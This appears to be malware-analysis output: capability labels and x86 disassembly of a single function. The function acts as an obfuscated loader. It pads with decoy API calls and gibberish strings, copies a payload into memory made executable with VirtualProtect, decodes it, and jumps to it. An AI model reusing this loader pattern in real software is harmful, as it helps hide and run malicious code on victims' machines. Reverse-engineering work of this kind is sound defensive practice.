Function at 0x4013de
Capabilities:
Allocate or change rwx memory
Delete directory
Execute shellcode via indirect call
Get common file path
Get disk information
Get geographical location
Query environment variable

Disassembly:
mov eax, 0x40f330
call fcn.0040f30c
mov eax, 0x18f4
call fcn.0040b270
mov ecx, dword [0xadffa4]
push ebx
push esi
xor esi, esi
push edi
cmp ecx, 0x93
jne 0x40149c
push 0x30
lea eax, [ebp - 0x54]
mov dword [ebp - 0x58], esi
push esi
push eax
call fcn.00409af0
add esp, 0xc
lea eax, [ebp - 0x58]
push dword [ebp - 0x10]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetCommConfig]
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_DrawCaption]
xor eax, eax
lock bts dword [eax], 0
push esi
lea eax, [ebp - 0x500]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_ReadEventLogW]
push esi
lea eax, [ebp - 0x1100]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push esi
call fcn.0040351a
push esi
call fcn.00402616
push esi
call fcn.00403123
movss xmm0, dword [0x415694]
add esp, 0xc
cvtps2pd xmm0, xmm0
push esi
push ecx
push ecx
movsd qword [esp], xmm0
call fcn.00402c84
add esp, 0xc
fstp st(0)
call fcn.004025d3
mov eax, dword [0x41bf98]
add ecx, 0x1134b
push ecx
push esi
mov dword [0xae00a8], eax
mov dword [0xadffa4], ecx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 0x24]
mov dword [0xadfefc], eax
push ecx
push 0x40
push dword [0xadffa4]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, dword [sym.imp.USER32.dll_CharUpperBuffA]
mov edi, 0x29156e
push esi
lea eax, [ebp - 0x500]
push eax
call ebx
dec edi
jne 0x4014dd
mov ecx, dword [0xadffa4]
mov edi, esi
test ecx, ecx
je 0x401582
mov eax, dword [0xae00a8]
mov cl, byte [eax + edi + 0x1134b]
mov eax, dword [0xadfefc]
mov byte [eax + edi], cl
mov ecx, dword [0xadffa4]
cmp ecx, 0x490
jne 0x401579
push esi
push esi
call dword [sym.imp.GDI32.dll_SetTextColor]
lea eax, [ebp - 0x100]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea eax, [ebp - 0x10]
push eax
push esi
lea eax, [ebp - 0x6c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputA]
push str.Hulivitipiwo_tixunevonayugov_hocegoyatuy_mujozu_lakofayigi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push esi
lea eax, [ebp - 0x900]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x18]
push eax
push esi
lea eax, [ebp - 0xd00]
push eax
push str.Xewenevotator_xofavudetitav_cegedubujan
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, dword [0xadffa4]
inc edi
cmp edi, ecx
jb 0x4014fa
mov edi, esi
lea eax, [ecx + edi]
cmp eax, 0x8d
jne 0x4015f4
push str.pafucehixizubate
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push esi
lea eax, [ebp - 0x18]
push eax
push esi
lea eax, [ebp - 0xd00]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push esi
push esi
call ebx
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
call dword [sym.imp.KERNEL32.dll_SetFileApisToANSI]
push esi
lea eax, [ebp - 0x900]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
push esi
lea eax, [ebp - 0x1900]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
lea eax, [ebp - 0x500]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov ecx, dword [0xadffa4]
inc edi
cmp edi, 0x38681
jl 0x401584
mov ebx, dword [0xadfefc]
mov edi, ecx
shr edi, 3
test edi, edi
je 0x40163a
cmp ecx, 0x959
jne 0x401625
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov ecx, ebx
call fcn.00401207
add ebx, 8
dec edi
je 0x40163a
mov ecx, dword [0xadffa4]
jmp 0x40160c
mov edi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x62
jne 0x40165a
mov dword [ebp - 0x10], esi
add dword [ebp - 0x10], 0x600c
mov eax, dword [ebp - 0x10]
add dword [0xadfefc], eax
inc edi
cmp edi, 0x674db
jl 0x40163c
mov eax, esi
cmp dword [0xadffa4], 0x86
je 0x401699
inc eax
cmp eax, 0x7b
jl 0x401665
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0xadfefc]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push esi
call dword [sym.imp.KERNEL32.dll_GetSystemPowerStatus]
push esi
lea eax, [ebp - 0x20]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
push esi
call dword [sym.imp.KERNEL32.dll_ExitThread]